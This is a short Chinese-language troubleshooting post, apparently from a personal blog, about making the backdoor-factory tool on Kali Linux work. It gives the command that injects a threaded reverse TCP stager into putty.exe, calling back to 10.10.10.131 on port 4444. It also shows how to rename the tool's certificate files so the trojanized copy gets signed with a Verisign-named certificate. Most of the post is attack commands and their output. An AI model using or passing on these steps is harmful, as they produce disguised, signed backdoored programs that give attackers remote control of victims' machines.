解决 backdoor-factory 证书文件不存在问题

解决 backdoor-factory 证书文件不存在问题

2018年4月13日

主机：Kali_Linux_2018.1

软件: backdoor-factory 3.4.2

backdoor-factory 注入 putty.exe 代码洞

root@kali:~# backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 -o putty2.exe

Enter your selection: 2

报错：

显示未找到文件

Failed to read certificate file: /usr/share/backdoor-factory/certs/Verisign.cer
139701503748160:error:02001002:system library:fopen:No such file or directory:bss_file.c:175:fopen('/usr/share/backdoor-factory/certs/VerisignPrivateKey.pem','rb')
139701503748160:error:2006D080:BIO routines:BIO_new_file:no such file:bss_file.c:182:
139701503748160:error:02001002:system library:fopen:No such file or directory:bss_file.c:175:fopen('/usr/share/backdoor-factory/certs/Verisign.cer','rb')
139701503748160:error:2006D080:BIO routines:BIO_new_file:no such file:bss_file.c:182:
Failed
File putty5.exe is in the 'backdoored' directory

解决方法：

备份并重命名：

root@kali:~# ls /usr/share/backdoor-factory/certs/
passFile.txt           signingCert.cer        signingPrivateKey.pem  
root@kali:~# cd /usr/share/backdoor-factory/certs/

root@kali:/usr/share/backdoor-factory/certs# cp signingCert.cer signingCert.cer.bak
root@kali:/usr/share/backdoor-factory/certs# cp signingPrivateKey.pem signingPrivateKey.pem.bak

root@kali:/usr/share/backdoor-factory/certs# mv signingCert.cer Verisign.cer
root@kali:/usr/share/backdoor-factory/certs# mv signingPrivateKey.pem VerisignPrivateKey.pem

测试结果

执行程序：

root@kali:~# backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 -o putty2.exe